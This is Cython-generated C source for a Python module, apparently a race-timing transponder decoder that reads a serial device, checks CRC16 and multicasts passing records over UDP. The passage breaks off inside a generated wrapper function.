__Pyx_GetItemInt_ByteArray(o, i, type, is_signed, to_py_func, is_list, wraparound, boundscheck)\ (__Pyx_fits_Py_ssize_t(i, type, is_signed) ?\ __Pyx_GetItemInt_ByteArray_Fast(o, (Py_ssize_t)i, wraparound, boundscheck) :\ (PyErr_SetString(PyExc_IndexError, "bytearray index out of range"), -1)) static CYTHON_INLINE int __Pyx_GetItemInt_ByteArray_Fast(PyObject* string, Py_ssize_t i, int wraparound, int boundscheck); /* PyThreadStateGet.proto */ #if CYTHON_FAST_THREAD_STATE #define __Pyx_PyThreadState_declare PyThreadState *__pyx_tstate; #define __Pyx_PyThreadState_assign __pyx_tstate = PyThreadState_GET(); #else #define __Pyx_PyThreadState_declare #define __Pyx_PyThreadState_assign #endif /* SaveResetException.proto */ #if CYTHON_FAST_THREAD_STATE #define __Pyx_ExceptionSave(type, value, tb) __Pyx__ExceptionSave(__pyx_tstate, type, value, tb) static CYTHON_INLINE void __Pyx__ExceptionSave(PyThreadState *tstate, PyObject **type, PyObject **value, PyObject **tb); #define __Pyx_ExceptionReset(type, value, tb) __Pyx__ExceptionReset(__pyx_tstate, type, value, tb) static CYTHON_INLINE void __Pyx__ExceptionReset(PyThreadState *tstate, PyObject *type, PyObject *value, PyObject *tb); #else #define __Pyx_ExceptionSave(type, value, tb) PyErr_GetExcInfo(type, value, tb) #define __Pyx_ExceptionReset(type, value, tb) PyErr_SetExcInfo(type, value, tb) #endif /* PyErrExceptionMatches.proto */ #if CYTHON_FAST_THREAD_STATE #define __Pyx_PyErr_ExceptionMatches(err) __Pyx_PyErr_ExceptionMatchesInState(__pyx_tstate, err) static CYTHON_INLINE int __Pyx_PyErr_ExceptionMatchesInState(PyThreadState* tstate, PyObject* err); #else #define __Pyx_PyErr_ExceptionMatches(err) PyErr_ExceptionMatches(err) #endif /* GetException.proto */ #if CYTHON_FAST_THREAD_STATE #define __Pyx_GetException(type, value, tb) __Pyx__GetException(__pyx_tstate, type, value, tb) static int __Pyx__GetException(PyThreadState *tstate, PyObject **type, PyObject **value, PyObject **tb); #else static int __Pyx_GetException(PyObject **type, PyObject **value, PyObject **tb); #endif /* PyErrFetchRestore.proto */ #if CYTHON_FAST_THREAD_STATE #define __Pyx_ErrRestoreWithState(type, value, tb) __Pyx_ErrRestoreInState(PyThreadState_GET(), type, value, tb) #define __Pyx_ErrFetchWithState(type, value, tb) __Pyx_ErrFetchInState(PyThreadState_GET(), type, value, tb) #define __Pyx_ErrRestore(type, value, tb) __Pyx_ErrRestoreInState(__pyx_tstate, type, value, tb) #define __Pyx_ErrFetch(type, value, tb) __Pyx_ErrFetchInState(__pyx_tstate, type, value, tb) static CYTHON_INLINE void __Pyx_ErrRestoreInState(PyThreadState *tstate, PyObject *type, PyObject *value, PyObject *tb); static CYTHON_INLINE void __Pyx_ErrFetchInState(PyThreadState *tstate, PyObject **type, PyObject **value, PyObject **tb); #else #define __Pyx_ErrRestoreWithState(type, value, tb) PyErr_Restore(type, value, tb) #define __Pyx_ErrFetchWithState(type, value, tb) PyErr_Fetch(type, value, tb) #define __Pyx_ErrRestore(type, value, tb) PyErr_Restore(type, value, tb) #define __Pyx_ErrFetch(type, value, tb) PyErr_Fetch(type, value, tb) #endif /* SwapException.proto */ #if CYTHON_FAST_THREAD_STATE #define __Pyx_ExceptionSwap(type, value, tb) __Pyx__ExceptionSwap(__pyx_tstate, type, value, tb) static CYTHON_INLINE void __Pyx__ExceptionSwap(PyThreadState *tstate, PyObject **type, PyObject **value, PyObject **tb); #else static CYTHON_INLINE void __Pyx_ExceptionSwap(PyObject **type, PyObject **value, PyObject **tb); #endif /* GetModuleGlobalName.proto */ static CYTHON_INLINE PyObject *__Pyx_GetModuleGlobalName(PyObject *name); /* Import.proto */ static PyObject *__Pyx_Import(PyObject *name, PyObject *from_list, int level); /* ImportFrom.proto */ static PyObject* __Pyx_ImportFrom(PyObject* module, PyObject* name); /* FetchCommonType.proto */ static PyTypeObject* __Pyx_FetchCommonType(PyTypeObject* type); /* CythonFunction.proto */ #define __Pyx_CyFunction_USED 1 #include <structmember.h> #define __Pyx_CYFUNCTION_STATICMETHOD 0x01 #define __Pyx_CYFUNCTION_CLASSMETHOD 0x02 #define __Pyx_CYFUNCTION_CCLASS 0x04 #define __Pyx_CyFunction_GetClosure(f)\ (((__pyx_CyFunctionObject *) (f))->func_closure) #define __Pyx_CyFunction_GetClassObj(f)\ (((__pyx_CyFunctionObject *) (f))->func_classobj) #define __Pyx_CyFunction_Defaults(type, f)\ ((type *)(((__pyx_CyFunctionObject *) (f))->defaults)) #define __Pyx_CyFunction_SetDefaultsGetter(f, g)\ ((__pyx_CyFunctionObject *) (f))->defaults_getter = (g) typedef struct { PyCFunctionObject func; #if PY_VERSION_HEX < 0x030500A0 PyObject *func_weakreflist; #endif PyObject *func_dict; PyObject *func_name; PyObject *func_qualname; PyObject *func_doc; PyObject *func_globals; PyObject *func_code; PyObject *func_closure; PyObject *func_classobj; void *defaults; int defaults_pyobjects; int flags; PyObject *defaults_tuple; PyObject *defaults_kwdict; PyObject *(*defaults_getter)(PyObject *); PyObject *func_annotations; } __pyx_CyFunctionObject; static PyTypeObject *__pyx_CyFunctionType = 0; #define __Pyx_CyFunction_NewEx(ml, flags, qualname, self, module, globals, code)\ __Pyx_CyFunction_New(__pyx_CyFunctionType, ml, flags, qualname, self, module, globals, code) static PyObject *__Pyx_CyFunction_New(PyTypeObject *, PyMethodDef *ml, int flags, PyObject* qualname, PyObject *self, PyObject *module, PyObject *globals, PyObject* code); static CYTHON_INLINE void *__Pyx_CyFunction_InitDefaults(PyObject *m, size_t size, int pyobjects); static CYTHON_INLINE void __Pyx_CyFunction_SetDefaultsTuple(PyObject *m, PyObject *tuple); static CYTHON_INLINE void __Pyx_CyFunction_SetDefaultsKwDict(PyObject *m, PyObject *dict); static CYTHON_INLINE void __Pyx_CyFunction_SetAnnotationsDict(PyObject *m, PyObject *dict); static int __pyx_CyFunction_init(void); /* CalculateMetaclass.proto */ static PyObject *__Pyx_CalculateMetaclass(PyTypeObject *metaclass, PyObject *bases); /* Py3ClassCreate.proto */ static PyObject *__Pyx_Py3MetaclassPrepare(PyObject *metaclass, PyObject *bases, PyObject *name, PyObject *qualname, PyObject *mkw, PyObject *modname, PyObject *doc); static PyObject *__Pyx_Py3ClassCreate(PyObject *metaclass, PyObject *name, PyObject *bases, PyObject *dict, PyObject *mkw, int calculate_metaclass, int allow_py2_metaclass); /* CodeObjectCache.proto */ typedef struct { PyCodeObject* code_object; int code_line; } __Pyx_CodeObjectCacheEntry; struct __Pyx_CodeObjectCache { int count; int max_count; __Pyx_CodeObjectCacheEntry* entries; }; static struct __Pyx_CodeObjectCache __pyx_code_cache = {0,0,NULL}; static int __pyx_bisect_code_objects(__Pyx_CodeObjectCacheEntry* entries, int count, int code_line); static PyCodeObject *__pyx_find_code_object(int code_line); static void __pyx_insert_code_object(int code_line, PyCodeObject* code_object); /* AddTraceback.proto */ static void __Pyx_AddTraceback(const char *funcname, int c_line, int py_line, const char *filename); /* CIntToPy.proto */ static CYTHON_INLINE PyObject* __Pyx_PyInt_From_long(long value); /* CIntToPy.proto */ static CYTHON_INLINE PyObject* __Pyx_PyInt_From_int(int value); /* CIntFromPy.proto */ static CYTHON_INLINE long __Pyx_PyInt_As_long(PyObject *); /* CIntFromPy.proto */ static CYTHON_INLINE int __Pyx_PyInt_As_int(PyObject *); /* CheckBinaryVersion.proto */ static int __Pyx_check_binary_version(void); /* InitStrings.proto */ static int __Pyx_InitStrings(__Pyx_StringTabEntry *t); /* Module declarations from 'tagV3' */ #define __Pyx_MODULE_NAME "tagV3" int __pyx_module_is_main_tagV3 = 0; /* Implementation of 'tagV3' */ static PyObject *__pyx_builtin_chr; static PyObject *__pyx_builtin_range; static PyObject *__pyx_builtin_print; static PyObject *__pyx_builtin_exit; static const char __pyx_k_[] = ""; static const char __pyx_k_3[] = "\0013"; static const char __pyx_k_N[] = "N+>"; static const char __pyx_k_b[] = "b"; static const char __pyx_k_d[] = "d"; static const char __pyx_k_e[] = "e"; static const char __pyx_k_i[] = "i"; static const char __pyx_k_p[] = "p"; static const char __pyx_k_s[] = "\036%s>"; static const char __pyx_k__3[] = "<"; static const char __pyx_k_ip[] = "ip"; static const char __pyx_k_tp[] = "tp"; static const char __pyx_k_ESC[] = "ESC"; static const char __pyx_k_I_s[] = "I%s>"; static const char __pyx_k__16[] = "\n"; static const char __pyx_k__23[] = " "; static const char __pyx_k__28[] = "\005"; static const char __pyx_k__29[] = "\007"; static const char __pyx_k__30[] = "\020"; static const char __pyx_k__31[] = "\021"; static const char __pyx_k__32[] = "\022"; static const char __pyx_k_cfg[] = "cfg"; static const char __pyx_k_chr[] = "chr"; static const char __pyx_k_cmd[] = "cmd"; static const char __pyx_k_crc[] = "crc"; static const char __pyx_k_doc[] = "__doc__"; static const char __pyx_k_s_2[] = "\037%s>"; static const char __pyx_k_s_s[] = "\010\010%s%s>"; static const char __pyx_k_ttl[] = "ttl"; static const char __pyx_k_H_st[] = "H%st"; static const char __pyx_k_Stop[] = "Stop"; static const char __pyx_k_args[] = "args"; static const char __pyx_k_baud[] = "baud"; static const char __pyx_k_byte[] = "byte"; static const char __pyx_k_data[] = "data"; static const char __pyx_k_exit[] = "exit"; static const char __pyx_k_init[] = "__init__"; static const char __pyx_k_line[] = "line"; static const char __pyx_k_main[] = "__main__"; static const char __pyx_k_name[] = "name"; static const char __pyx_k_pack[] = "pack"; static const char __pyx_k_port[] = "port"; static const char __pyx_k_self[] = "self"; static const char __pyx_k_sock[] = "sock"; static const char __pyx_k_stop[] = "stop"; static const char __pyx_k_task[] = "task"; static const char __pyx_k_test[] = "__test__"; static const char __pyx_k_Start[] = "Start"; static const char __pyx_k_crc16[] = "crc16"; static const char __pyx_k_hours[] = "hours"; static const char __pyx_k_power[] = "power"; static const char __pyx_k_print[] = "print"; static const char __pyx_k_range[] = "range"; static const char __pyx_k_s_s_2[] = "\t\t%s%s>"; static const char __pyx_k_s_s_3[] = "\n\n%s%s>"; static const char __pyx_k_start[] = "start"; static const char __pyx_k_tagV3[] = "tagV3"; static const char __pyx_k_valid[] = "valid"; static const char __pyx_k_write[] = "write"; static const char __pyx_k_Repeat[] = "Repeat"; static const char __pyx_k_Serial[] = "Serial"; static const char __pyx_k_Status[] = "Status"; static const char __pyx_k_Thread[] = "Thread"; static const char __pyx_k_device[] = "device"; static const char __pyx_k_encode[] = "encode"; static const char __pyx_k_import[] = "__import__"; static const char __pyx_k_millis[] = "millis"; static const char __pyx_k_module[] = "__module__"; static const char __pyx_k_repeat[] = "repeat"; static const char __pyx_k_sendto[] = "sendto"; static const char __pyx_k_serial[] = "serial"; static const char __pyx_k_socket[] = "socket"; static const char __pyx_k_struct[] = "struct"; static const char __pyx_k_target[] = "target"; static const char __pyx_k_theSer[] = "theSer"; static const char __pyx_k_AF_INET[] = "AF_INET"; static const char __pyx_k_VERSION[] = "VERSION\r\n"; static const char __pyx_k_btpower[] = "btpower"; static const char __pyx_k_command[] = "command"; static const char __pyx_k_compute[] = "compute"; static const char __pyx_k_decoder[] = "decoder"; static const char __pyx_k_is_open[] = "is_open"; static const char __pyx_k_loop_ID[] = "loop_ID"; static const char __pyx_k_message[] = "message"; static const char __pyx_k_minutes[] = "minutes"; static const char __pyx_k_passing[] = "passing"; static const char __pyx_k_prepare[] = "__prepare__"; static const char __pyx_k_seconds[] = "seconds"; static const char __pyx_k_sendCmd[] = "sendCmd"; static const char __pyx_k_setDate[] = "setDate"; static const char __pyx_k_setTime[] = "setTime"; static const char __pyx_k_statBXX[] = "statBXX"; static const char __pyx_k_timeout[] = "timeout"; static const char __pyx_k_Set_Date[] = "Set Date"; static const char __pyx_k_Stat_BXX[] = "Stat BXX"; static const char __pyx_k_bXXLevel[] = "bXXLevel"; static const char __pyx_k_checksum[] = "checksum"; static const char __pyx_k_loopcout[] = "loopcout"; static const char __pyx_k_multi_ip[] = "multi_ip"; static const char __pyx_k_qualname[] = "__qualname__"; static const char __pyx_k_readline[] = "readline"; static const char __pyx_k_telegram[] = "telegram"; static const char __pyx_k_BXX_Level[] = "BXX Level"; static const char __pyx_k_CANO_MODE[] = "CANO MODE\r\n"; static const char __pyx_k_getConfig[] = "getConfig"; static const char __pyx_k_getStatus[] = "getStatus"; static const char __pyx_k_metaclass[] = "__metaclass__"; static const char __pyx_k_setConfig[] = "setConfig"; static const char __pyx_k_threading[] = "threading"; static const char __pyx_k_Get_Config[] = "Get Config"; static const char __pyx_k_IPPROTO_IP[] = "IPPROTO_IP"; static const char __pyx_k_SOCK_DGRAM[] = "SOCK_DGRAM"; static const char __pyx_k_Set_Config[] = "Set Config"; static const char __pyx_k_setsockopt[] = "setsockopt"; static const char __pyx_k_settimeout[] = "settimeout"; static const char __pyx_k_Acknowledge[] = "Acknowledge"; static const char __pyx_k_acknowledge[] = "acknowledge"; static const char __pyx_k_setBOXLevel[] = "setBOXLevel"; static const char __pyx_k_setIPConfig[] = "setIPConfig"; static const char __pyx_k_setSTALevel[] = "setSTALevel"; static const char __pyx_k_crccheck_crc[] = "crccheck.crc"; static const char __pyx_k_createThread[] = "createThread"; static const char __pyx_k_decoder_stop[] = "decoder.stop"; static const char __pyx_k_test_passing[] = "test_passing"; static const char __pyx_k_Crcc16Mcrf4xx[] = "Crcc16Mcrf4xx"; static const char __pyx_k_ERROR_Opening[] = "ERROR Opening: "; static const char __pyx_k_Set_BOX_Level[] = "Set BOX Level"; static const char __pyx_k_Set_IP_Config[] = "Set IP Config"; static const char __pyx_k_Set_STA_Level[] = "Set STA Level"; static const char __pyx_k_decoder_start[] = "decoder.start"; static const char __pyx_k_decoder_repeat[] = "decoder.repeat"; static const char __pyx_k_passing___init[] = "passing.__init__"; static const char __pyx_k_decoder_decoder[] = "decoder.decoder"; static const char __pyx_k_decoder_sendCmd[] = "decoder.sendCmd"; static const char __pyx_k_decoder_setDate[] = "decoder.setDate"; static const char __pyx_k_decoder_setTime[] = "decoder.setTime"; static const char __pyx_k_decoder_statBXX[] = "decoder.statBXX"; static const char __pyx_k_multicast_group[] = "multicast_group"; static const char __pyx_k_receiveResponse[] = "receiveResponse"; static const char __pyx_k_IP_MULTICAST_TTL[] = "IP_MULTICAST_TTL"; static const char __pyx_k_decoder_bXXLevel[] = "decoder.bXXLevel"; static const char __pyx_k_decoder_getConfig[] = "decoder.getConfig"; static const char __pyx_k_decoder_getStatus[] = "decoder.getStatus"; static const char __pyx_k_decoder_setConfig[] = "decoder.setConfig"; static const char __pyx_k_decoder_acknowledge[] = "decoder.acknowledge"; static const char __pyx_k_decoder_setBOXLevel[] = "decoder.setBOXLevel"; static const char __pyx_k_decoder_setIPConfig[] = "decoder.setIPConfig"; static const char __pyx_k_decoder_setSTALevel[] = "decoder.setSTALevel"; static const char __pyx_k_decoder_createThread[] = "decoder.createThread"; static const char __pyx_k_decoder_receiveResponse[] = "decoder.receiveResponse"; static const char __pyx_k_exception_on_send_multicast[] = "exception on send multicast"; static const char __pyx_k_STA_006141_00_02_57_541_38_07_0[] = "<STA 006141 00:02'57\"541 38 07 0 1569>"; static const char __pyx_k_home_thor_Devel_Transponder_Chr[] = "/home/thor/Devel/Transponder/Chrono/decoder/tagV3.py"; static PyObject *__pyx_kp_u_; static PyObject *__pyx_kp_u_3; static PyObject *__pyx_n_s_AF_INET; static PyObject *__pyx_n_u_Acknowledge; static PyObject *__pyx_kp_u_BXX_Level; static PyObject *__pyx_kp_u_CANO_MODE; static PyObject *__pyx_n_s_Crcc16Mcrf4xx; static PyObject *__pyx_kp_u_ERROR_Opening; static PyObject *__pyx_n_s_ESC; static PyObject *__pyx_kp_u_Get_Config; static PyObject *__pyx_kp_u_H_st; static PyObject *__pyx_n_s_IPPROTO_IP; static PyObject *__pyx_n_s_IP_MULTICAST_TTL; static PyObject *__pyx_kp_u_I_s; static PyObject *__pyx_kp_u_N; static PyObject *__pyx_n_u_Repeat; static PyObject *__pyx_n_s_SOCK_DGRAM; static PyObject *__pyx_kp_u_STA_006141_00_02_57_541_38_07_0; static PyObject *__pyx_n_s_Serial; static PyObject *__pyx_kp_u_Set_BOX_Level; static PyObject *__pyx_kp_u_Set_Config; static PyObject *__pyx_kp_u_Set_Date; static PyObject *__pyx_kp_u_Set_IP_Config; static PyObject *__pyx_kp_u_Set_STA_Level; static PyObject *__pyx_n_u_Start; static PyObject *__pyx_kp_u_Stat_BXX; static PyObject *__pyx_n_u_Status; static PyObject *__pyx_n_u_Stop; static PyObject *__pyx_n_s_Thread; static PyObject *__pyx_kp_u_VERSION; static PyObject *__pyx_kp_u__16; static PyObject *__pyx_kp_u__23; static PyObject *__pyx_kp_u__28; static PyObject *__pyx_kp_u__29; static PyObject *__pyx_kp_u__3; static PyObject *__pyx_kp_u__30; static PyObject *__pyx_kp_u__31; static PyObject *__pyx_kp_u__32; static PyObject *__pyx_n_s_acknowledge; static PyObject *__pyx_n_s_args; static PyObject *__pyx_n_u_b; static PyObject *__pyx_n_s_bXXLevel; static PyObject *__pyx_n_s_baud; static PyObject *__pyx_n_u_baud; static PyObject *__pyx_n_s_btpower; static PyObject *__pyx_n_s_byte; static PyObject *__pyx_n_s_cfg; static PyObject *__pyx_n_s_checksum; static PyObject *__pyx_n_s_chr; static PyObject *__pyx_n_s_cmd; static PyObject *__pyx_n_s_command; static PyObject *__pyx_n_s_compute; static PyObject *__pyx_n_s_crc; static PyObject *__pyx_n_s_crc16; static PyObject *__pyx_n_s_crccheck_crc; static PyObject *__pyx_n_s_createThread; static PyObject *__pyx_n_s_d; static PyObject *__pyx_n_s_data; static PyObject *__pyx_n_s_decoder; static PyObject *__pyx_n_s_decoder_acknowledge; static PyObject *__pyx_n_s_decoder_bXXLevel; static PyObject *__pyx_n_s_decoder_createThread; static PyObject *__pyx_n_s_decoder_decoder; static PyObject *__pyx_n_s_decoder_getConfig; static PyObject *__pyx_n_s_decoder_getStatus; static PyObject *__pyx_n_s_decoder_receiveResponse; static PyObject *__pyx_n_s_decoder_repeat; static PyObject *__pyx_n_s_decoder_sendCmd; static PyObject *__pyx_n_s_decoder_setBOXLevel; static PyObject *__pyx_n_s_decoder_setConfig; static PyObject *__pyx_n_s_decoder_setDate; static PyObject *__pyx_n_s_decoder_setIPConfig; static PyObject *__pyx_n_s_decoder_setSTALevel; static PyObject *__pyx_n_s_decoder_setTime; static PyObject *__pyx_n_s_decoder_start; static PyObject *__pyx_n_s_decoder_statBXX; static PyObject *__pyx_n_s_decoder_stop; static PyObject *__pyx_n_s_device; static PyObject *__pyx_n_u_device; static PyObject *__pyx_n_s_doc; static PyObject *__pyx_n_s_e; static PyObject *__pyx_n_s_encode; static PyObject *__pyx_kp_u_exception_on_send_multicast; static PyObject *__pyx_n_s_exit; static PyObject *__pyx_n_s_getConfig; static PyObject *__pyx_n_s_getStatus; static PyObject *__pyx_kp_s_home_thor_Devel_Transponder_Chr; static PyObject *__pyx_n_s_hours; static PyObject *__pyx_n_s_i; static PyObject *__pyx_n_s_import; static PyObject *__pyx_n_s_init; static PyObject *__pyx_n_s_ip; static PyObject *__pyx_n_s_is_open; static PyObject *__pyx_n_s_line; static PyObject *__pyx_n_s_loop_ID; static PyObject *__pyx_n_s_loopcout; static PyObject *__pyx_n_s_main; static PyObject *__pyx_n_s_message; static PyObject *__pyx_n_s_metaclass; static PyObject *__pyx_n_s_millis; static PyObject *__pyx_n_s_minutes; static PyObject *__pyx_n_s_module; static PyObject *__pyx_n_u_multi_ip; static PyObject *__pyx_n_s_multicast_group; static PyObject *__pyx_n_s_name; static PyObject *__pyx_n_s_p; static PyObject *__pyx_n_s_pack; static PyObject *__pyx_n_s_passing; static PyObject *__pyx_n_s_passing___init; static PyObject *__pyx_n_s_port; static PyObject *__pyx_n_u_port; static PyObject *__pyx_n_s_power; static PyObject *__pyx_n_s_prepare; static PyObject *__pyx_n_s_print; static PyObject *__pyx_n_s_qualname; static PyObject *__pyx_n_s_range; static PyObject *__pyx_n_s_readline; static PyObject *__pyx_n_s_receiveResponse; static PyObject *__pyx_n_s_repeat; static PyObject *__pyx_kp_u_s; static PyObject *__pyx_kp_u_s_2; static PyObject *__pyx_kp_u_s_s; static PyObject *__pyx_kp_u_s_s_2; static PyObject *__pyx_kp_u_s_s_3; static PyObject *__pyx_n_s_seconds; static PyObject *__pyx_n_s_self; static PyObject *__pyx_n_s_sendCmd; static PyObject *__pyx_n_s_sendto; static PyObject *__pyx_n_s_serial; static PyObject *__pyx_n_s_setBOXLevel; static PyObject *__pyx_n_s_setConfig; static PyObject *__pyx_n_s_setDate; static PyObject *__pyx_n_s_setIPConfig; static PyObject *__pyx_n_s_setSTALevel; static PyObject *__pyx_n_s_setTime; static PyObject *__pyx_n_s_setsockopt; static PyObject *__pyx_n_s_settimeout; static PyObject *__pyx_n_s_sock; static PyObject *__pyx_n_s_socket; static PyObject *__pyx_n_s_start; static PyObject *__pyx_n_s_statBXX; static PyObject *__pyx_n_s_stop; static PyObject *__pyx_n_s_struct; static PyObject *__pyx_n_s_tagV3; static PyObject *__pyx_n_s_target; static PyObject *__pyx_n_s_task; static PyObject *__pyx_n_s_telegram; static PyObject *__pyx_n_s_test; static PyObject *__pyx_n_s_test_passing; static PyObject *__pyx_n_s_theSer; static PyObject *__pyx_n_s_threading; static PyObject *__pyx_n_s_timeout; static PyObject *__pyx_n_s_tp; static PyObject *__pyx_n_s_ttl; static PyObject *__pyx_n_s_valid; static PyObject *__pyx_n_s_write; static PyObject *__pyx_pf_5tagV3_7passing___init__(CYTHON_UNUSED PyObject *__pyx_self, PyObject *__pyx_v_self, PyObject *__pyx_v_data); /* proto */ static PyObject *__pyx_pf_5tagV3_7decoder_createThread(CYTHON_UNUSED PyObject *__pyx_self, PyObject *__pyx_v_self, PyObject *__pyx_v_d, PyObject *__pyx_v_decoder, CYTHON_UNUSED PyObject *__pyx_v_name); /* proto */ static PyObject *__pyx_pf_5tagV3_7decoder_2decoder(CYTHON_UNUSED PyObject *__pyx_self, CYTHON_UNUSED PyObject *__pyx_v_self, PyObject *__pyx_v_device, PyObject *__pyx_v_baud, PyObject *__pyx_v_ip, PyObject *__pyx_v_port); /* proto */ static PyObject *__pyx_pf_5tagV3_7decoder_4getStatus(CYTHON_UNUSED PyObject *__pyx_self, PyObject *__pyx_v_self); /* proto */ static PyObject *__pyx_pf_5tagV3_7decoder_6start(CYTHON_UNUSED PyObject *__pyx_self, PyObject *__pyx_v_self); /* proto */ static PyObject *__pyx_pf_5tagV3_7decoder_8setConfig(CYTHON_UNUSED PyObject *__pyx_self, PyObject *__pyx_v_self, PyObject *__pyx_v_cfg); /* proto */ static PyObject *__pyx_pf_5tagV3_7decoder_10setIPConfig(CYTHON_UNUSED PyObject *__pyx_self, PyObject *__pyx_v_self, PyObject *__pyx_v_cfg); /* proto */ static PyObject *__pyx_pf_5tagV3_7decoder_12getConfig(CYTHON_UNUSED PyObject *__pyx_self, PyObject *__pyx_v_self); /* proto */ static PyObject *__pyx_pf_5tagV3_7decoder_14acknowledge(CYTHON_UNUSED PyObject *__pyx_self, PyObject *__pyx_v_self); /* proto */ static PyObject *__pyx_pf_5tagV3_7decoder_16repeat(CYTHON_UNUSED PyObject *__pyx_self, PyObject *__pyx_v_self); /* proto */ static PyObject *__pyx_pf_5tagV3_7decoder_18stop(CYTHON_UNUSED PyObject *__pyx_self, PyObject *__pyx_v_self); /* proto */ static PyObject *__pyx_pf_5tagV3_7decoder_20setTime(CYTHON_UNUSED PyObject *__pyx_self, PyObject *__pyx_v_self, PyObject *__pyx_v_cfg); /* proto */ static PyObject *__pyx_pf_5tagV3_7decoder_22setDate(CYTHON_UNUSED PyObject *__pyx_self, PyObject *__pyx_v_self, PyObject *__pyx_v_cfg); /* proto */ static PyObject *__pyx_pf_5tagV3_7decoder_24setSTALevel(CYTHON_UNUSED PyObject *__pyx_self, PyObject *__pyx_v_self, PyObject *__pyx_v_cfg); /* proto */ static PyObject *__pyx_pf_5tagV3_7decoder_26setBOXLevel(CYTHON_UNUSED PyObject *__pyx_self, PyObject *__pyx_v_self, PyObject *__pyx_v_cfg); /* proto */ static PyObject *__pyx_pf_5tagV3_7decoder_28statBXX(CYTHON_UNUSED PyObject *__pyx_self, PyObject *__pyx_v_self, PyObject *__pyx_v_cfg); /* proto */ static PyObject *__pyx_pf_5tagV3_7decoder_30bXXLevel(CYTHON_UNUSED PyObject *__pyx_self, PyObject *__pyx_v_self); /* proto */ static PyObject *__pyx_pf_5tagV3_7decoder_32sendCmd(CYTHON_UNUSED PyObject *__pyx_self, CYTHON_UNUSED PyObject *__pyx_v_self, PyObject *__pyx_v_command); /* proto */ static PyObject *__pyx_pf_5tagV3_7decoder_34receiveResponse(CYTHON_UNUSED PyObject *__pyx_self, CYTHON_UNUSED PyObject *__pyx_v_self, PyObject *__pyx_v_timeout); /* proto */ static PyObject *__pyx_float_0_1; static PyObject *__pyx_int_0; static PyObject *__pyx_int_1; static PyObject *__pyx_int_4; static PyObject *__pyx_int_5; static PyObject *__pyx_int_6; static PyObject *__pyx_int_10; static PyObject *__pyx_int_11; static PyObject *__pyx_int_12; static PyObject *__pyx_int_14; static PyObject *__pyx_int_15; static PyObject *__pyx_int_16; static PyObject *__pyx_int_17; static PyObject *__pyx_int_18; static PyObject *__pyx_int_20; static PyObject *__pyx_int_21; static PyObject *__pyx_int_24; static PyObject *__pyx_int_25; static PyObject *__pyx_int_27; static PyObject *__pyx_int_28; static PyObject *__pyx_int_30; static PyObject *__pyx_int_31; static PyObject *__pyx_int_32; static PyObject *__pyx_int_33; static PyObject *__pyx_int_37; static PyObject *__pyx_int_neg_2; static PyObject *__pyx_slice__2; static PyObject *__pyx_slice__4; static PyObject *__pyx_slice__5; static PyObject *__pyx_slice__6; static PyObject *__pyx_slice__7; static PyObject *__pyx_slice__8; static PyObject *__pyx_slice__9; static PyObject *__pyx_slice__10; static PyObject *__pyx_slice__11; static PyObject *__pyx_slice__12; static PyObject *__pyx_slice__13; static PyObject *__pyx_slice__14; static PyObject *__pyx_slice__21; static PyObject *__pyx_slice__22; static PyObject *__pyx_tuple__15; static PyObject *__pyx_tuple__17; static PyObject *__pyx_tuple__18; static PyObject *__pyx_tuple__19; static PyObject *__pyx_tuple__20; static PyObject *__pyx_tuple__24; static PyObject *__pyx_tuple__25; static PyObject *__pyx_tuple__26; static PyObject *__pyx_tuple__27; static PyObject *__pyx_tuple__33; static PyObject *__pyx_tuple__35; static PyObject *__pyx_tuple__36; static PyObject *__pyx_tuple__38; static PyObject *__pyx_tuple__40; static PyObject *__pyx_tuple__42; static PyObject *__pyx_tuple__44; static PyObject *__pyx_tuple__46; static PyObject *__pyx_tuple__48; static PyObject *__pyx_tuple__50; static PyObject *__pyx_tuple__52; static PyObject *__pyx_tuple__54; static PyObject *__pyx_tuple__56; static PyObject *__pyx_tuple__58; static PyObject *__pyx_tuple__60; static PyObject *__pyx_tuple__62; static PyObject *__pyx_tuple__64; static PyObject *__pyx_tuple__66; static PyObject *__pyx_tuple__68; static PyObject *__pyx_tuple__70; static PyObject *__pyx_tuple__72; static PyObject *__pyx_codeobj__34; static PyObject *__pyx_codeobj__37; static PyObject *__pyx_codeobj__39; static PyObject *__pyx_codeobj__41; static PyObject *__pyx_codeobj__43; static PyObject *__pyx_codeobj__45; static PyObject *__pyx_codeobj__47; static PyObject *__pyx_codeobj__49; static PyObject *__pyx_codeobj__51; static PyObject *__pyx_codeobj__53; static PyObject *__pyx_codeobj__55; static PyObject *__pyx_codeobj__57; static PyObject *__pyx_codeobj__59; static PyObject *__pyx_codeobj__61; static PyObject *__pyx_codeobj__63; static PyObject *__pyx_codeobj__65; static PyObject *__pyx_codeobj__67; static PyObject *__pyx_codeobj__69; static PyObject *__pyx_codeobj__71; /* "tagV3.py":310 * test_passing = "<STA 006141 00:02'57\"541 38 07 0 1569>" * class passing(): * def __init__(self, data = ""): # <<<<<<<<<<<<<< * self.telegram = data * try: */ /* Python wrapper */ static PyObject *__pyx_pw_5tagV3_7passing_1__init__(PyObject *__pyx_self, PyObject *__pyx_args, PyObject *__pyx_kwds); /*proto*/ static PyMethodDef __pyx_mdef_5tagV3_7passing_1__init__ = {"__init__", (PyCFunction)__pyx_pw_5tagV3_7passing_1__init__, METH_VARARGS|METH_KEYWORDS, 0}; static PyObject *__pyx_pw_5tagV3_7passing_1__init__(PyObject *__pyx_self, PyObject *__pyx_args, PyObject *__pyx_kwds) { PyObject *__pyx_v_self = 0; PyObject *__pyx_v_data = 0; PyObject *__pyx_r = 0; __Pyx_RefNannyDeclarations __Pyx_RefNannySetupContext("__init__ (wrapper)", 0); { static PyObject **__pyx_pyargnames[] = {&__pyx_n_s_self,&__pyx_n_s_data,0}; PyObject* values[2] = {0,0}; values[1] = ((PyObject *)((PyObject*)__pyx_kp_u_)); if (unlikely(__pyx_kwds)) { Py_ssize_t kw_args; const Py_ssize_t pos_args = PyTuple_GET_SIZE(__pyx_args); switch (pos_args) { case 2: values[1] = PyTuple_GET_ITEM(__pyx_args, 1); case 1: values[0] = PyTuple_GET_ITEM(__pyx_args, 0); case 0: break; default: goto __pyx_L5_argtuple_error; } kw_args = PyDict_Size(__pyx_kwds); switch (pos_args) { case 0: if (likely((values[0] = PyDict_GetItem(__pyx_kwds, __pyx_n_s_self)) != 0)) kw_args--; else goto __pyx_L5_argtuple_error; case 1: if (kw_args > 0) { PyObject* value = PyDict_GetItem(__pyx_kwds, __pyx_n_s_data); if (value) { values[1] = value; kw_args--; } } } if (unlikely(kw_args > 0)) { if (unlikely(__Pyx_ParseOptionalKeywords(__pyx_kwds, __pyx_pyargnames, 0, values, pos_args, "__init__") < 0)) __PYX_ERR(0, 310, 